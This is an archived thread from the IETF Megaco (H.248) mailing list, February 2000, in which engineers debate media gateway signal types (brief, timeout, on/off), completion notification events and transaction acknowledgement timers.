>     >      Ditto
>     >
>     >      > >
>     >      > >
>     >      > >Section:                12.1.4  Category:
>     >      Technical, Open
>     >      > >Issue  Issue:          The draft text mentions
>     >      SignalType CN
>     >      > (Continue),
>     >      > >however this  SignalType is not defined in Section
>     >      7.1.10 on Signals
>     >      > >Descriptor.  Also, it should be noted, that the
>     >      more general
>     >      > topic of
>     >      > >signal types and  the details of their operation
>     >      has been
>     >      > the subject of
>     >      > >much debate on the  IETF Megaco mailing list since
>     >      the white
>     >      > contribution
>     >      > >was developed, and  that at time of writing, no
>     >      resolution had been
>     >      > >found.  Proposal:       It is proposed that
>     >      SignalType CN is
>     >      > removed from
>     >      > >the text.
>     >      > >
>     >      > >v13 Status:     OPEN. No text changed.
>     >      > >
>     >      > >[[TomT]]  Done.
>     >      > v14. CLOSED. SignalType CN has been removed.
>     >      > >    Section:        12.1.4  Category:
>     >      Technical, Open
>     >      > > Issue  Issue:          The draft text specifies
>     >      that
>     >      > "Signals that would
>     >      > > be played with  SignalType BR should have a
>     >      default
>     >      > duration"  Again, it
>     >      > > should be noted, that the more general topic of
>     >      signal
>     >      > types and  the
>     >      > > details of their operation has been the subject
>     >      of much debate on
>     >      > > the  IETF Megaco mailing list since the white
>     >      contribution
>     >      > was developed,
>     >      > > and  that at time of writing, no resolution had
>     >      been
>     >      > > found.  Proposal:       It is proposed that
>     >      similar text is
>     >      > added as for
>     >      > > signals of  SignalType TO.
>     >      > >
>     >      > >v13 Status:     OPEN. No text changed.  [[TomT]]
>     >      See
>     >      > initial comments to
>     >      > >this message.
>     >      > v14: OPEN. No text changed.
>     >      > Support NetAid!  http://www.netaid.org
>     >      > --------------------------------------------------
>     >      > Chip Sharp                 Consulting Engineering
>     >      > Cisco Systems              Telco Bio-region
>     >      > Reality - Love it or Leave it.
>     >      > --------------------------------------------------
>     >      >
>     >
>      --
>      ---------------------------------------
>      Flemming Andreasen
>      Cisco Systems
>      ---------------------------------------
>
>
--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--------------B269C564348BC592121A9DB1
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Maybe, but according to Brian's first "no-op" rule, it must be broken in
order to get fixed :-)

Regarding dial-tone, I don't see the issue. What you have is three different
signal types and three different semantics. Each has it's own time and
place. In the case of dial-tone, TimeOut happens to be the one, not Brief.

-- Flemming

 

"Rosen, Brian" wrote:

 Let's
see:   
Events stop signals except:       
When KeepActive is set       
If the signal is BR       
If the signal is OONet
result - events stop signals only when TO and not KeepActive.Maybe
we should have a "StopSignal", rather than a KeepActiveMaybe
it happens so seldom that we use an embedded signals to do it.Also
note that by saying BR doesn't stop for events, you twist the solution
tofirst
digit stops dialtone to a new level.Brian



-----Original
Message-----

From: Flemming Andreasen [mailto:fandreasen@WORLDNET.ATT.NET]

Sent: Friday, February 04,
2000 4:55 PM

To: MEGACO@standards.nortelnetworks.com

Subject: Re: Cisco SG16: Signals
Operation

 

Hi Tom

OO signals should not be interrupted by an event, only the explicit
"Off" syntax should have this effect (otherwise we are back to TO signals
with indefinite duration, and semantically there's good use for something
that stays active until explicitly told otherwise, e.g. consider message
waiting indicator)

Regards

        Flemming

Tom-PT Taylor wrote:

 

Digging through
the accumulated mass of indented text and comments, I think I see two parties
agreeing on the following points.  Unfortunately experience tells
me that as soon as we introduce a third party the agreements will vanish,
but I'll record them here just in case a miracle happens.

1) BR signals
have the following characteristics: duration is assumed to be known to
the MG without explicit MGC input.  Brian wants the ability to override
duration, and I have no quarrel with that -- the only question is the exact
mechanism.  The second characteristic is that a BR signal is not terminated
by the detection of an event.  (But BR signals are still terminated
by replacement of the Signals descriptor??  Any objections here?)

2) TO signals
seem to be fairly well understood.

3) OO signals
have the following characteristics: they remain on until interrupted by
detection of an event, or receipt of a Signals descriptor with explicit
Off syntax.  Brian's keyword syntax is probably acceptable. 
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?



4)
Brian's proposals for completion events probably work for Chip and they
work for me.  To summarize: the current notifyCompletion parameter
remains but its significance changes: it is a selector (Boolean, default
FALSE) and does not actually arm reporting.  There is a signal completion
event which reports on the completion of any signal so flagged, with the
identity of the signal as a reporting parameter.  QUESTION: should
KeepActive default to TRUE for this event?  In any case, the signal
completion event is invoked in the usual way, through an events descriptor.

Open issue: signal
failures.  The need for reports of such failures is real -- they do
happen from time to time.  They happen autonomously, which means we
either have to have an error method (ServiceChange ?) or an event to report
them.  The key issue is whether you would need to know about ANY failure
or only those of selected signals.

    -----Original Message-----

    From:  
Rosen, Brian [SMTP:brosen@FORE.COM]

    Sent:  
Friday, February 04, 2000 2:17 PM

    To:    
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       
Re: Cisco SG16: Signals Operation

    Comments below

    > -----Original Message-----

    > From: Chip Sharp [mailto:chsharp@cisco.com]

    > Sent: Friday, February 04, 2000
12:05 AM

    > To: MEGACO@standards.nortelnetworks.com

    > Subject: Re: Cisco SG16: Signals
Operation

    >

    >

    > At 08:17 PM 2/2/00 -0500, Tom-PT
Taylor wrote:

    > >

    > >

    > >I have every sympathy with your
first point -- I couldn't resist the

    > >temptation to propose a new definition
of BR.  The fact is,

    > the way things

    > >currently stand, we could abolish
the signal type parameter

    > and it would

    > >make no difference to the operation
of the protocol.  I

    > suppose we would

    > >have to define an "infinite" duration
to simulate on/off as

    > currently

    > >defined, but even that might not
be necessary.

    > >

    > >Speaking as chair, I suppose I
have to say that the null

    > hypothesis is

    > >that we stick with our current
text.  We have two other alternatives:

    > >

    > >(a) New distinctive definitions
for BR, TO, OO, with the

    > understanding

    > >that the definition of a given
signal indicates its default

    > type, but that

    > >type can always be overridden by
the type parameter.

    > >

    > >  - BR duration is assumed
to be known to the MG without

    > explicit MGC

    > > input.  BR signals can be
stopped by detection of events

    > without the

    > > KeepActive parameter or by replacement
of the current

    > signal descriptor

    > > with one not containing the indicated
signal.

    > I would suggest they cannot be interrupted
by events. If not, there's

    > little reason for having them as
well as TO signals.

    It's okay with me

    > >

    > >

    > >  - TO duration is given explicitly
by the duration

    > parameter.  A default

    > > may be provisioned or defined
in the package.  TO signals

    > can be stopped

    > > by detection of events without
the KeepActive parameter or

    > by replacement

    > > of the current signal descriptor
with one not containing

    > the indicated signal.

    > >

    > >  - OO signals remain active
until a signal descriptor with explicit

    > > turn-off syntax comes into effect
(Chip's proposal).

    > Sounds good.

    What is the syntax?  Would a
parameter do, or do we have to actually have a

    keyword?  Is there a default? 
I propose that we

    have keywords. Signals{VMButton{ON}}

    this makes:

    sigParameter      
= sigStream / sigSignalType / sigDuration /

                   
sigOnOFF / sigOther / NotifyCompletion

    (last element is in debate at the
moment)

    sigOnOff          
= OnToken / OffToken

    What happens with signal lists?

    > >

    > >

    > >(b) Abolish signal type.

    > >

    > >If I see a sudden rush to agreement
on something other than

    > the existing

    > >text I'll feed it into Geneva. 
Otherwise things stay put

    > and we can try

    > >again for H.248v2 -- the protocol
works as is.

    > I doubt it. This is such a fundamental
property of the

    > protocol that it is

    > highly unlikely you would be able
it in v2, not least considering the

    > backwards compatibility restricion
on package extensions. I

    > would suggest

    > doing it right the first time around.

    >

    > Issue update and additions follow
below.

    > >

    > >

    > >Comments to the other points follow
them.

    > >-----Original Message----- 
From:  Chip Sharp

    > >[SMTP:chsharp@CISCO.COM] 
Sent:  Tuesday, January 25, 2000 7:59

    > >PM  To:   
MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:

    >  Cisco SG16:

    > >Signals Operation

    >

    > Section:        
7.1.1, second paragraph, last paragraph

    > Category:    
Technical

    > Issue no.:    
14.2

    > Issue:         
The draft text specifies that "Finally, there is an

    > optional "notifyCompletion" that
allows a MGC to request

    > being notified of

    > completion of the signal. The value
of thi sparameter is a

    > RequestIdentifier, allowing the
MGC to correlate the Notify with the

    > corresponding signal" and furthermore
that "If the MGC requested

    > notification of completion for a
signal, a Notify command

    > SHALL be sent by

    > the MG upon completion of that signal.
A Notify triggered by

    > completion of

    > a signal SHALL NOT affect the state
of the eventbuffer or any

    > active events

    > descriptor". There is already a
mechanism in the protocol

    > that supports

    > this functionality, namely events.
By using the event

    > mechanism instead,

    > the duplication of functionality
is avoided, and event

    > ordering between

    > "events" and completed signals become
trivial - currently they are an

    > unsolved issue. Furthermore, it
is unclear how this behavior

    > interacts with

    > the EventBuffer mechanism. For example,
if an event has been

    > notified,

    > "EventBuffer" is on, and the signal
now completes, it seems

    > inconsistent to

    > issue another Notify specific to
the signal.

    > Proposal:    
It is strongly suggested, that

    > "notifyCompletion" is replaced

    > by having the completion of the
signal generating an event

    > (e.g. "signal

    > complete") instead (notification
of which may or may not have been

    > requested). Furthermore, to account
for signal failure, there

    > should be a

    > "signal failure" event as well.

    > Status:

    I have argued this precise point,
and believe that there should only

    be ONE way to get an event armed and
triggered.  I agree that it

    should be an event.  I specifically
proposed that a signal complete

    event be defined that has a parameter
which is the list of signals

    that it applies to, but it occurs
to me that a compromise is to

    leave the parameter in Signals Descriptor
as being a "this is one

    of the signals that the signal complete
event applies to", and then

    the signals complete event has no
input parameter, but has an output

    parameter that specifies which signal
completed.

    > >    Section:       
7.1.10, fourth paragraph, first

    > > bullet.  Category:      
Technical, Open Issue  Issue:

    >     The draft

    > > text defines on/off signals "the
signal lasts until it is

    > turned off",

    > > however this definition is not
clear. Specifically, it is

    > not  clear if

    > > an on/off signal is turned off
by not being included in a

    > subsequent

    > > SignalsDescriptor or if it is
turned off by some explicit

    > action. In the

    > > latter case, syntax is missing
leading one to believe that

    > the former

    > > definition is intended. The former
definition on the other hand  is

    > > somewhat problematic and overlaps
the definition of time-out

    > > signals  with an indefinite
duration. Consider for instance

    > a "visual

    > > message  waiting indicator"
defined as an on/off signal. Unless the

    > > signal is  included in all
subsequent SignalsDescritpors,

    > the indicator

    > > will be turned  off. The
on/off signal type would be more

    > useful (and not

    > > a duplicate of  timeout)
if this was not the case.  Also,

    > it should be

    > > noted, that the more general topic
of signal types and  the

    > details of

    > > their operation has been the subject
of much debate on the

    > IETF Megaco

    > > mailing list since the white contribution
was developed,

    > and  that at

    > > time of writing, no resolution
had been found.

    > >

    > >Proposal:      
It is recommended that the definition of on/off is

    > >clarified in  accordance with
the above and the missing syntax added.

    > >

    > >

    > >v13 Status:    
OPEN. No substantial change has been made.

    >

    > v14: OPEN. No relevant text changed.

    > >

    > >

    > >Section:       
7.1.10, fourth paragraph, second

    > >bullet  Category:      
Technical  Issue:         
The draft

    > text defines

    > >timeout signals as "the signal
lasts until  it is turned off

    > or a specific

    > >period of time elapses", however
there is no  mechanism

    > specified for

    > >informing the MGC when that specific
period of time  has

    > elapsed and thus

    > >the signal has ended. The MGC may
therefore be unable  to

    > determine if a

    > >given signal is playing in an MG
or not. An example where

    > this is needed

    > >is outpulsing with MF Feature Group
D trunks where multiple

    > digit strings

    > >(address and caller id) need to
be outpulsed. MGC needs to

    > know when

    > >outpulsing of the first string
of digits has occurred before

    >  requesting

    > >out-pulsing of the next string.).
Another example is a

    > signal  activated

    > >through an external event such
as user input (by use of an  embedded

    > >signals descriptor).

    > >

    > >Proposal:      
It is strongly recommended that a mechanism

    > for notifying

    > >the MGC  upon timeout signal
completion is added, e.g. in

    > the form of an

    > >event  ("operation complete").
Furthermore, it should be

    > considered to add

    > >another  event that would
allow the MGC to be informed if

    > generation of

    > >the signal  fails for some
reason (e.g. "operation

    > failure"). It should be

    > >noted, that  this may happen
in the middle of the signals

    > defined duration.

    > >

    > >v13 Status:    
OPEN. No substantial change has been made.

    > >

    > >[[TomT]]  v14 adds the notifyCompletion
parameter for every

    > signal and

    > >text on how completions are notified
in section 7.2.7.  For

    > failures we

    > >have that generic failure event
in E.1, but no text on how

    > to apply it or

    > >what request ID to use for it.

    >

    > v14:    DISAGREE
(see issue 14.2). A mechanism has been added.

    I'd say that the mechanism proposed,
or the V14 mechanism does

    address the completion part. 
The error part is V2; should it be

    an event, or just an error? 
How should the error be reported?

    >

    > Section:        
7.1.17

    > Category:    
Technical

    > Issue no.:    
14.3

    > Issue:         
The draft text specifies that "If a Notify is

    > sent as a

    > result of a signal completion, the
ObservedEventsDescriptor

    > contains the

    > name of the signal that completed
and the time at which it

    > completed". Cf.

    > issue 14.2, this behavior is undesirable
and should be

    > replaced with an

    > event instead thereby eliminating
the need for specifying

    > this special case.

    > Proposal: Assuming the proposed
resolution to issue 14.2 is

    > accepted, it is

    > proposed that the above sentence
is deleted.

    > Status:

    Since I agree that the mechanism should
be an event, I agree

    with this

    > Section:        
7.2.8 (Notify), last three paragraphs

    > Category:    
Technical

    > Issue no.:     
14.5

    > Issue:         
The draft text specifies that "..., or as a result of

    > completion of a signal for which
the MGC requested notification of

    > completion", and "...or the triggering
SignalsDescriptor", as

    > finally "A

    > Notify triggered by completion of
a signal, contains the

    > corresponding

    > signal name in the ObservedEventsDescriptor".
However, as

    > argued in issue

    > 14.2, this behavior is a special
case that is inconsistent

    > with the general

    > event handling mechanism, incl.
Notifications. If signal

    > completion was not

    > designed as a special case (which
there is no reason to),

    > this special case

    > handling would not be necessary.

    > Proposal: Assuming the proposed
solution to issue 14.2 is

    > accepted, it is

    > proposed to remove all of the above
text segments.

    > Status:

    Ditto

    > >

    > >

    > >Section:               
12.1.4  Category:       Technical, Open

    > >Issue  Issue:         
The draft text mentions SignalType CN

    > (Continue),

    > >however this  SignalType is
not defined in Section 7.1.10 on Signals

    > >Descriptor.  Also, it should
be noted, that the more general

    > topic of

    > >signal types and  the details
of their operation has been

    > the subject of

    > >much debate on the  IETF Megaco
mailing list since the white

    > contribution

    > >was developed, and  that at
time of writing, no resolution had been

    > >found.  Proposal:      
It is proposed that SignalType CN is

    > removed from

    > >the text.

    > >

    > >v13 Status:    
OPEN. No text changed.

    > >

    > >[[TomT]]  Done.

    > v14. CLOSED. SignalType CN has been
removed.

    > >    Section:       
12.1.4  Category:       Technical, Open

    > > Issue  Issue:         
The draft text specifies that

    > "Signals that would

    > > be played with  SignalType
BR should have a default

    > duration"  Again, it

    > > should be noted, that the more
general topic of signal

    > types and  the

    > > details of their operation has
been the subject of much debate on

    > > the  IETF Megaco mailing
list since the white contribution

    > was developed,

    > > and  that at time of writing,
no resolution had been

    > > found.  Proposal:      
It is proposed that similar text is

    > added as for

    > > signals of  SignalType TO.

    > >

    > >v13 Status:    
OPEN. No text changed.  [[TomT]]  See

    > initial comments to

    > >this message.

    > v14: OPEN. No text changed.

    > Support NetAid! 
http://www.netaid.org

    > --------------------------------------------------

    > Chip Sharp                
Consulting Engineering

    > Cisco Systems             
Telco Bio-region

    > Reality - Love it or Leave it.

    > --------------------------------------------------

    >



--

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 





--

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------B269C564348BC592121A9DB1--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 17:49:14 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12195
	for ; Fri, 4 Feb 2000 17:49:12 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A4855870@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:45:36 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25989 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 17:44:10 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.71072000@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:44:09
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204224620.MDAZ7433@worldnet.att.net>; Fri, 4 Feb 2000 22:46:20
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088A4@whq-msgusr-02.fore.com>
Content-Type: multipart/alternative;
              boundary="------------BAB134EA148ADA0B1310A947"
Message-ID:  <389B5554.D0FC4429@worldnet.att.net>
Date:         Fri, 4 Feb 2000 17:40:20 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------BAB134EA148ADA0B1310A947
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Fair enough. Given that, I would prefer changing Annex D.

-- Flemming

"Rosen, Brian" wrote:

>  Acks are a function of transport.  The ACK syntax we have is UDP
> only.You can't, in general, require an ACK, immediate or not.We could,
> theoretically, change Annex D to do what you ask, but we
> couldn'tchange the main body of the text.  Given that, what would you
> want to do?I'd rather leave it as it is right now, and get some
> experience.Brian
>
>      -----Original Message-----
>      From: Flemming Andreasen
>      [mailto:fandreasen@WORLDNET.ATT.NET]
>      Sent: Friday, February 04, 2000 4:39 PM
>      To: MEGACO@standards.nortelnetworks.com
>      Subject: Re: Cisco SG16: Transaction ID uniqueness
>
>      Hi Brian
>
>      Please look for FSA below (mail reader acting up here so
>      sorry about the formatting)
>
>      -- Flemming
>
>
>      "Rosen, Brian" wrote:
>      ===============
>      Since there is no way for the requestor to know how long the
>      responder will take,
>      how long should it wait before sending a duplicate request,
>      after it gets a pend?
>
>      Whatever the answer is, that is the rate at which pends have
>      to come.
>
>      If the timer is very long, then the timer to clear a missed
>      final response will be very long
>
>
>      FSA: No. You make sure the final response is transmitted
>      reliably by requiring it to be acknowledged.
>
>      Whatever the timer is, we may have to have repeated pends,
>      and each of them
>      will be proceeded by a duplicate request in your proposal.
>
>      FSA: Correct
>
>      The scheme we have now is just like the one you propose,
>      except that the pends
>      come without prompt by the requestor, and the default value
>      of the timer is short.
>
>      FSA: No it's not. With my proposal, I can safely set the
>      timer to say 30 seconds, and still detect a lost final
>      response promptly. If I do anything of the sort with your
>      proposal, it will be a looooong time before we recover.
>
>      Brian
>
>      ---------------------------------------
>      Flemming Andreasen
>      Cisco Systems
>      ---------------------------------------
>
>
--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--------------BAB134EA148ADA0B1310A947
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Fair enough. Given that, I would prefer changing Annex D.

-- Flemming

"Rosen, Brian" wrote:

 Acks
are a function of transport.  The ACK syntax we have is UDP only.You
can't, in general, require an ACK, immediate or not.We
could, theoretically, change Annex D to do what you ask, but we couldn'tchange
the main body of the text.  Given that, what would you want to do?I'd
rather leave it as it is right now, and get some experience.Brian



-----Original
Message-----

From: Flemming Andreasen [mailto:fandreasen@WORLDNET.ATT.NET]

Sent: Friday, February 04,
2000 4:39 PM

To: MEGACO@standards.nortelnetworks.com

Subject: Re: Cisco SG16: Transaction
ID uniqueness

 

Hi Brian

Please look for FSA below (mail reader acting up here so sorry about
the formatting)

-- Flemming

 

"Rosen, Brian" wrote:

===============

Since there
is no way for the requestor to know how long the responder will take,

how long should
it wait before sending a duplicate request, after it gets a pend?

Whatever the
answer is, that is the rate at which pends have to come.

If the timer
is very long, then the timer to clear a missed final response will be very
long

 

FSA: No. You
make sure the final response is transmitted reliably by requiring it to
be acknowledged.

Whatever the
timer is, we may have to have repeated pends, and each of them

will be proceeded
by a duplicate request in your proposal.

FSA: Correct

The scheme we
have now is just like the one you propose, except that the pends

come without
prompt by the requestor, and the default value of the timer is short.

FSA: No it's
not. With my proposal, I can safely set the timer to say 30 seconds, and
still detect a lost final response promptly. If I do anything of the sort
with your proposal, it will be a looooong time before we recover.

Brian

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 





--

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------BAB134EA148ADA0B1310A947--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 18:03:22 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12407
	for ; Fri, 4 Feb 2000 18:03:21 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BF3761C0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 18:00:40 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26028 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 17:59:34 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.32174220@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:49:33
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id RAA11093; Fri, 4 Feb
          2000 17:51:43 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id RAA25765; Fri, 4 Feb
          2000 17:51:47 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTV4V>; Fri, 4 Feb 2000 17:48:31 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088A7@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 17:51:45 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I made a mistake.  Dialtone is indeed TO, and the
correct thing happens (first digit event stops dialtone).

I don't seriously propose changing the current syntax,
although we might want to adjust the wording of signals
to highlight that most events DON'T stop signals, only
TO without KeepActive.

Brian
-----Original Message-----
From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
Sent: Friday, February 04, 2000 5:40 PM
To: Rosen, Brian
Cc: MEGACO@standards.nortelnetworks.com
Subject: Re: Cisco SG16: Transaction ID uniqueness


Fair enough. Given that, I would prefer changing Annex D.
-- Flemming
"Rosen, Brian" wrote:
 Acks are a function of transport.  The ACK syntax we have is UDP only.You
can't, in general, require an ACK, immediate or not.We could, theoretically,
change Annex D to do what you ask, but we couldn'tchange the main body of
the text.  Given that, what would you want to do?I'd rather leave it as it
is right now, and get some experience.Brian
-----Original Message-----
From: Flemming Andreasen [mailto:fandreasen@WORLDNET.ATT.NET]
Sent: Friday, February 04, 2000 4:39 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: Cisco SG16: Transaction ID uniqueness

Hi Brian
Please look for FSA below (mail reader acting up here so sorry about the
formatting)
-- Flemming

"Rosen, Brian" wrote:
===============
Since there is no way for the requestor to know how long the responder will
take,
how long should it wait before sending a duplicate request, after it gets a
pend?
Whatever the answer is, that is the rate at which pends have to come.
If the timer is very long, then the timer to clear a missed final response
will be very long

FSA: No. You make sure the final response is transmitted reliably by
requiring it to be acknowledged.
Whatever the timer is, we may have to have repeated pends, and each of them
will be proceeded by a duplicate request in your proposal.
FSA: Correct
The scheme we have now is just like the one you propose, except that the
pends
come without prompt by the requestor, and the default value of the timer is
short.
FSA: No it's not. With my proposal, I can safely set the timer to say 30
seconds, and still detect a lost final response promptly. If I do anything
of the sort with your proposal, it will be a looooong time before we
recover.
Brian
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 18:32:26 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12767
	for ; Fri, 4 Feb 2000 18:32:25 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CF217DB0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 18:29:44 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26101 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 18:27:56 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.8E867D50@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          18:27:56 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 17:28:23 -0600
Received: from zrchb213.us.nortel.com by zmers013; Fri, 4 Feb 2000 18:28:17
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TLLJR>; Fri, 4 Feb 2000 17:28:15 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F67.824E56F0"
Message-ID:  
Date:         Fri, 4 Feb 2000 17:28:13 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Flemming Andreasen ,
              Brian Rosen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F67.824E56F0
Content-Type: text/plain;
        charset="iso-8859-1"

OK, let's sum up, not that I'm confident that this will fly yet.  I'd like
to see the reaction of a couple of other vocal parties -- say Michael Brown
and Christian Groves.

We have three signal types with distinct roles:
  BR has a timer but is not interrupted by events.  It is interrupted by
signal descriptor replacement.
  TO is the most interruptible: timer, events, signal descriptors.
  OO is the most persistent: interrupted by signal descriptors with explicit
"Off" syntax only.
I assume we allow over-riding of default signal type in any given instance
of playout.

The list is an interesting problem.  I think I have an answer to turning an
OO list off, but now we also have to define behaviour in response to events.
We might consider the following rules:
 -- the type of the list is set explicitly -- every signal on the list with
the possible exception of the last one must be either BR or TO, in order to
have an assigned duration
 -- if the last event is OO, the list must be OO and vice versa
 -- the type of the list, not the type of the signals making it up,
determines the conditions under which playout of the list ceases
 -- the list times out if it is not OO and all of the signals on it have
played out, each in turn to its full duration.


> -----Original Message-----
> From: Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
> Sent: Friday, February 04, 2000 5:38 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Cisco SG16: Signals Operation
>
> Maybe, but according to Brian's first "no-op" rule, it must be broken in
> order to get fixed :-)
>
> Regarding dial-tone, I don't see the issue. What you have is three
> different signal types and three different semantics. Each has it's own
> time and place. In the case of dial-tone, TimeOut happens to be the one,
> not Brief.
>
> -- Flemming
>
>
> "Rosen, Brian" wrote:
>
>        Let's see:    Events stop signals except:        When KeepActive is
> set        If the signal is BR        If the signal is OONet result -
> events stop signals only when TO and not KeepActive.Maybe we should have a
> "StopSignal", rather than a KeepActiveMaybe it happens so seldom that we
> use an embedded signals to do it.Also note that by saying BR doesn't stop
> for events, you twist the solution tofirst digit stops dialtone to a new
> level.Brian
>
>               -----Original Message-----
>               From: Flemming Andreasen [
> ]
>               Sent: Friday, February 04, 2000 4:55 PM
>               To: MEGACO@standards.nortelnetworks.com
>               Subject: Re: Cisco SG16: Signals Operation
>
>               Hi Tom
>
>               OO signals should not be interrupted by an event, only the
> explicit "Off" syntax should have this effect (otherwise we are back to TO
> signals with indefinite duration, and semantically there's good use for
> something that stays active until explicitly told otherwise, e.g. consider
> message waiting indicator)
>
>               Regards
>
>                       Flemming
>
>               Tom-PT Taylor wrote:
>
>
>
>                       Digging through the accumulated mass of indented
> text and comments, I think I see two parties agreeing on the following
> points.  Unfortunately experience tells me that as soon as we introduce a
> third party the agreements will vanish, but I'll record them here just in
> case a miracle happens.
>
>                       1) BR signals have the following characteristics:
> duration is assumed to be known to the MG without explicit MGC input.
> Brian wants the ability to override duration, and I have no quarrel with
> that -- the only question is the exact mechanism.  The second
> characteristic is that a BR signal is not terminated by the detection of
> an event.  (But BR signals are still terminated by replacement of the
> Signals descriptor??  Any objections here?)
>
>                       2) TO signals seem to be fairly well understood.
>
>                       3) OO signals have the following characteristics:
> they remain on until interrupted by detection of an event, or receipt of a
> Signals descriptor with explicit Off syntax.  Brian's keyword syntax is
> probably acceptable.  Brian has a query about signal lists.  Is there
> something about this proposal that doesn't work given our current signal
> list text?
>
>                       4) Brian's proposals for completion events probably
> work for Chip and they work for me.  To summarize: the current
> notifyCompletion parameter remains but its significance changes: it is a
> selector (Boolean, default FALSE) and does not actually arm reporting.
> There is a signal completion event which reports on the completion of any
> signal so flagged, with the identity of the signal as a reporting
> parameter.  QUESTION: should KeepActive default to TRUE for this event?
> In any case, the signal completion event is invoked in the usual way,
> through an events descriptor.
>
>                       Open issue: signal failures.  The need for reports
> of such failures is real -- they do happen from time to time.  They happen
> autonomously, which means we either have to have an error method
> (ServiceChange ?) or an event to report them.  The key issue is whether
> you would need to know about ANY failure or only those of selected
> signals.
>
>

------_=_NextPart_001_01BF6F67.824E56F0
